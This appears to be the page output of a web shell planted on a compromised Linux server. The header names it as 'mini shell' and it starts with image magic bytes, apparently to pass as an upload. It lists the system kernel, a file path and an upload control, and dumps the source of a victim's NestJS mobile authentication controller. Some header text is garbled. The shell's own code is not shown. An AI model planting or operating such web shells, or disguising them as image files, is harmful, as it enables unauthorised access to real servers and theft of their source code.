ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/mobile/auth/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/mobile/auth/auth.controller.ts

import { Controller, Get, Post, Body, Patch, Param, Delete, Req, UseGuards } from '@nestjs/common';
import { ApiTags, ApiBearerAuth } from '@nestjs/swagger';
import { MobileAuthService } from './auth.service';
import { AccountDeleteDto, ChangePinDto, HelpSupportDto, MobileAuthRegisterDto, OtpVerifyCustomerRegisterDto, SetPinDto } from './dto/auth.dto';
import { MobileAuthLoginDto } from './dto/auth.dto';
import { AuthGuard } from 'src/guards/auth.guard';
import { Roles } from 'src/decorators/role.decorator';
@ApiTags('Mobile-Auth')
@Controller('mobile-auth')

export class MobileAuthController {

  constructor(
    private readonly mobileAuthService: MobileAuthService
  ) { }

  @Post('/register')
  create(@Body() mobileregisterdto: MobileAuthRegisterDto, @Req() request: Request) {
    return this.mobileAuthService.create(mobileregisterdto, request);
  }



  @Post('/login')
  login(@Body() mobilelogindto: MobileAuthLoginDto, @Req() request: Request) {
    return this.mobileAuthService.login(mobilelogindto, request)

  }

  @Post('/resendotp')
  resendOtp(@Body() mobilelogindto: MobileAuthLoginDto, @Req() request: Request) {
    return this.mobileAuthService.resendOtp(mobilelogindto, request)

  }

  @Post('/otpverify')
  public async otpverify(@Body() OtpVerifyCustomerRegisterDto: OtpVerifyCustomerRegisterDto, @Req() request: Request): Promise<any> {
    return await this.mobileAuthService.otpverify(OtpVerifyCustomerRegisterDto, request);
  }

  @ApiBearerAuth()
  @UseGuards(AuthGuard)
  @Roles('mobile_account_delete')
  @Post('/accountdelete')
  public async accountdelete(@Body() AccountDeleteDto: AccountDeleteDto,@Req() request: Request): Promise<any> {
    const userData = request['user'].user_id;
    return await this.mobileAuthService.accountdelete(AccountDeleteDto,userData, request);
  }

  // @ApiBearerAuth()
  // @UseGuards(AuthGuard)
  // @Post('/setpin')
  // public async setpin(@Body() SetPinDto: SetPinDto, @Req() request: Request): Promise<any> {
  //   const userData = request['user'].user_id;
  //   return await this.mobileAuthService.setpin(SetPinDto, request, userData);
  // }

  // @ApiBearerAuth()
  // @UseGuards(AuthGuard)
  // @Post('/changepin')
  // public async changePin(@Body() ChangePinDto: ChangePinDto, @Req() request: Request): Promise<any> {
  //   const userData = request['user'].user_id;
  //   return await this.mobileAuthService.changePin(ChangePinDto, request, userData);
  // }

  @Get('/inappupdate')
  async inAppUpdate() {
    return await this.mobileAuthService.inAppUpdate();
  }

  @Get('/accountdeletedetails')
  async accountDeleteGet() {
    return await this.mobileAuthService.accountDeleteGet();
  }

  @ApiBearerAuth()
  @UseGuards(AuthGuard)
  @Roles('mobile_logout')
  @Post('/logout')
  public async logout(@Req() request: Request): Promise<any> {
    const userData = request['user'].user_id;
    return await this.mobileAuthService.logout(request, userData);
  }

  @ApiBearerAuth()
  @UseGuards(AuthGuard)
  @Post('/sessionout')
  @Roles('mobile_sessionout')
  public async sessionout(@Req() request: Request): Promise<any> {
    const userData = request['user'].user_id;
    return await this.mobileAuthService.sessionout(request, userData);
  }

  @ApiBearerAuth()
  @UseGuards(AuthGuard)
  @Roles('mobile_helpSupport')
  @Post('/helpSupport')
  helpAndSupport(@Body() helpsupportdto: HelpSupportDto, @Req() request: Request) {
    return this.mobileAuthService.helpAndSupport(helpsupportdto, request)

  }


}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST